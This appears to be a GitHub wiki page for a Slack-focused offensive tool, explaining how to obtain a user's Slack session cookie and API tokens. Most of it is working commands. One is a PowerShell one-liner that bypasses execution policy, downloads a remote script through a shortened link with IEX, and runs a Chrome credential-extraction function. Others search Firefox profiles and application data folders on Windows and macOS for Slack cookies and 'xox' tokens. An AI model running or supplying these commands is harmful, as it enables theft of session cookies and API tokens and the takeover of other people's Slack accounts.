Skip to content

Authorization

Carrie Roberts edited this page Oct 27, 2018 · 3 revisions

Obtaining the Browser Session Cookie (dCookie)

From Chrome on Windows Using Chrome Itself

You can download a demo video here showing how to manually extract the dCookie value from Chrome via the Chrome Settings menu. Other browsers provide functionality for viewing the cookies as well, but you'll have to google that one on your own.

From Chrome on Windows using PowerShell

powershell -ex b -c "IEX((new-object net.webclient).downloadstring('https://bit.ly/2OMBArT'));Get-ChromeCreds -SlackExtract"

From Firefox on Windows using PowerShell

(dir -Recurse $env:APPDATA\Mozilla\Firefox\Profiles\ | select-string -ErrorAction Ignore -Pattern "(?<=slack.comd)(.*)(?=.slack.com)").matches.value

Obtaining the API Token (SlackToken)

From Mac OS X

grep --colour -Eoair "xox[a-z]-[0-9a-f-]+" ~/Library/Application\ Support 2> /dev/null

From Windows PowerShell

(dir -Recurse $env:APPDATA\ | select-string -ErrorAction Ignore -Pattern "xox[a-z]-[0-9a-f-]+" ).matches.value